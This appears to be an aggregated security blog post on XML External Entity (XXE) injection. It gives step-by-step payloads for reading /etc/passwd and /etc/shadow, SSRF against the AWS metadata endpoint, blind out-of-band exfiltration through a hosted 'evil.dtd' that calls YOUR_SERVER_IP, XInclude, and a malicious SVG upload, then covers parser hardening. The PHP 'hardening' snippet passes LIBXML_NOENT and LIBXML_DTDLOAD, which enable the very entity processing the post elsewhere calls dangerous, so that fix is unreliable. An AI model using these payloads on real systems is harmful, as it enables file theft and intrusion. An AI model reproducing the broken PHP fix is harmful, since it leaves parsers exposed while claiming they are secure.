Listen to this Post
Introduction:
XML External Entity (XXE) injection is a severe web security vulnerability that exploits weakly configured XML parsers, allowing attackers to read sensitive files, scan internal networks, and even perform remote code execution. Often lurking in APIs, file upload features, and legacy web services, this vulnerability can transform a simple data submission into a gateway for catastrophic system compromise.
Learning Objectives:
- Understand the fundamental mechanics of an XXE attack and how to construct basic and advanced payloads.
- Learn to identify both obvious and hidden attack surfaces for XXE injection in modern applications.
- Master the definitive, language-specific configurations required to securely harden XML parsers and prevent these attacks.
1. Understanding the XXE Attack Mechanism
At its core, an XXE attack abuses a standard but dangerous feature of XML: the ability to define external entities. An entity is like a variable; an external entity can fetch its value from a URL or a local file path. If an application’s XML parser is configured to process external entities, an attacker can embed a malicious entity definition in submitted XML to steal data.
Step-by-step guide explaining what this does and how to use it.
1. Identify XML Input: Find an endpoint in the application that accepts XML data. This could be an API, a file upload that processes XML-based formats (like SVG or DOCX), or even a regular POST request where you can change the `Content-Type` to text/xml.
2. Craft the Malicious DOCTYPE: Inject a `DOCTYPE` declaration defining an external entity. The `SYSTEM` keyword instructs the parser to fetch the entity’s value from an external source.
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <someApplicationTag>&xxe;</someApplicationTag>
3. Reference the Entity: Place the defined entity (e.g., &xxe;) within an XML tag that is reflected in the application’s response.
4. Execute and Extract: Send the payload. If vulnerable, the parser will replace `&xxe;` with the contents of the server’s `/etc/passwd` file, which is then displayed in the response.
2. Performing Basic File Retrieval and SSRF
The most straightforward XXE exploits involve direct data exfiltration or Server-Side Request Forgery (SSRF). File retrieval attacks target the server’s filesystem, while SSRF uses the server as a proxy to attack internal services.
Step-by-step guide explaining what this does and how to use it.
Attack 1: Reading Local Files
The goal is to read sensitive system or application files (e.g., /etc/shadow, C:\Windows\System32\drivers\etc\hosts, or application configuration files).
1. Construct a payload targeting the desired file.
- Systematically test different XML elements in the request by inserting the entity reference, as the vulnerable reflected field may not be obvious.
Example Payload for Linux:
<!DOCTYPE test [ <!ENTITY file SYSTEM "file:///etc/shadow"> ]> <user>&file;</user>
Attack 2: Server-Side Request Forgery (SSRF)
This technique forces the server to make HTTP requests to internal or external systems, potentially accessing cloud metadata or internal admin panels.
1. Define an entity with a `http://` or `https://` URL.
2. Reference the entity to trigger the request.
Example Payload for AWS Metadata:
<!DOCTYPE test [ <!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/"> ]> <data>&ssrf;</data>
3. Exploiting Blind and Out-of-Band (OOB) XXE
Many XXE vulnerabilities are “blind,” meaning the stolen data is not returned directly in the HTTP response. This requires Out-of-Band (OOB) techniques to exfiltrate data.
Step-by-step guide explaining what this does and how to use it.
1. Set Up a Listener: Start a web server you control (e.g., using `python3 -m http.server 80` or nc -lvnp 80) to receive incoming requests.
2. Trigger an External Interaction: Use a payload that forces the vulnerable server to fetch a DTD file from your server. This confirms the vulnerability.
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://YOUR_SERVER_IP/trigger.dtd"> %xxe; ]>
3. Exfiltrate Data via a Malicious DTD: Host a DTD file on your server that defines a parameter entity to read a local file and then sends its contents back to you in a second HTTP request.
Contents of `evil.dtd`:
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &x25; exfil SYSTEM 'http://YOUR_SERVER_IP/?data=%file;'>"> %eval; %exfil;
4. Launch the Attack: Send the main XXE payload that loads your malicious DTD. The parser will execute the nested entities, reading the file and attempting to send it to your listener. Note: URL length limits may truncate large files.
4. Advanced Exploitation: XInclude and File Uploads
XXE attack surface isn’t always visible. Advanced techniques target scenarios where you don’t control the entire XML document.
Step-by-step guide explaining what this does and how to use it.
Attack 1: XInclude Injection
Use this when user input is placed into a server-side XML document and you cannot control the DOCTYPE.
1. Find a data parameter that gets embedded into a backend XML request.
2. Inject an `XInclude` payload to fetch a file.
Example Payload:
<foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/> </foo>
Attack 2: XXE via File Upload
Abuse applications that process uploaded XML-based files, such as SVG images, DOCX documents, or PDFs.
1. Create a malicious SVG image file.
2. Upload it to the target application.
Example Malicious SVG Content:
<?xml version="1.0" standalone="yes"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <svg width="500px" height="500px" xmlns="http://www.w3.org/2000/svg"> <text font-size="16" x="0" y="16">&xxe;</text> </svg>
5. The Ultimate Defense: Hardening XML Parsers
Prevention is the most effective defense. The universal rule is to disable XML external entities and DTD processing entirely in your XML parser. Here are configurations for common languages.
Step-by-step guide explaining what this does and how to use it.
Java (DocumentBuilderFactory, SAXParserFactory): This is the primary defense. Disabling DTDs prevents almost all XXE attacks.
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
String FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";
dbf.setFeature(FEATURE, true);
// Additional protections
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
.NET (XmlDocument, XmlTextReader): Set the `XmlResolver` property to `null` to prevent the parser from resolving external resources.
// For XmlDocument XmlDocument xmlDoc = new XmlDocument(); xmlDoc.XmlResolver = null; // Critical setting xmlDoc.LoadXml(xmlPayload); // For XmlTextReader XmlTextReader reader = new XmlTextReader(new StringReader(xmlPayload)); reader.DtdProcessing = DtdProcessing.Prohibit; // Critical setting
Python (lxml): Use the `resolve_entities` and `no_network` parameters to secure the parser.
from lxml import etree parser = etree.XMLParser(resolve_entities=False, no_network=True) safe_tree = etree.fromstring(xml_payload, parser)
PHP (libxml): Disable entity loading before parsing.
libxml_disable_entity_loader(true); $dom = new DOMDocument(); $dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
What Undercode Say:
- Configuration Over Validation: Relying solely on input validation to strip malicious patterns is a flawed defense. Attackers can use advanced techniques like external DTDs, parameter entities, or UTF-7 encoding to bypass filters. The only robust solution is to correctly configure the underlying XML parser to disable dangerous features at its core.
- The Inherited Risk of Legacy Libraries: Modern XML parser libraries often have secure defaults, but applications can inadvertently enable dangerous flags (like `LIBXML_NOENT` in PHP or `noent: true` in Node.js’s
libxmljs). The critical task for developers is to audit XML parsing code and ensure no legacy or insecure parser settings are in use, as the threat is often introduced by well-meaning but insecure code copied from old tutorials or forums.
Prediction:
As APIs and microservices architectures continue to proliferate, the attack surface for XXE will evolve rather than disappear. While awareness has reduced simple XXE flaws, we predict a rise in “blind XXE as a service” attacks targeting complex, interconnected back-end systems. Furthermore, the integration of AI-powered code generation tools poses a new risk: these tools may inadvertently reproduce vulnerable XML parsing patterns from their training data, leading to a resurgence of this classic vulnerability in next-generation applications. The future battleground will shift from web-facing forms to server-to-server API communications and AI-generated codebases, requiring continuous security testing and dependency audits.
▶️ Related Video (82% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Akashsuman1 Bugbounty – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
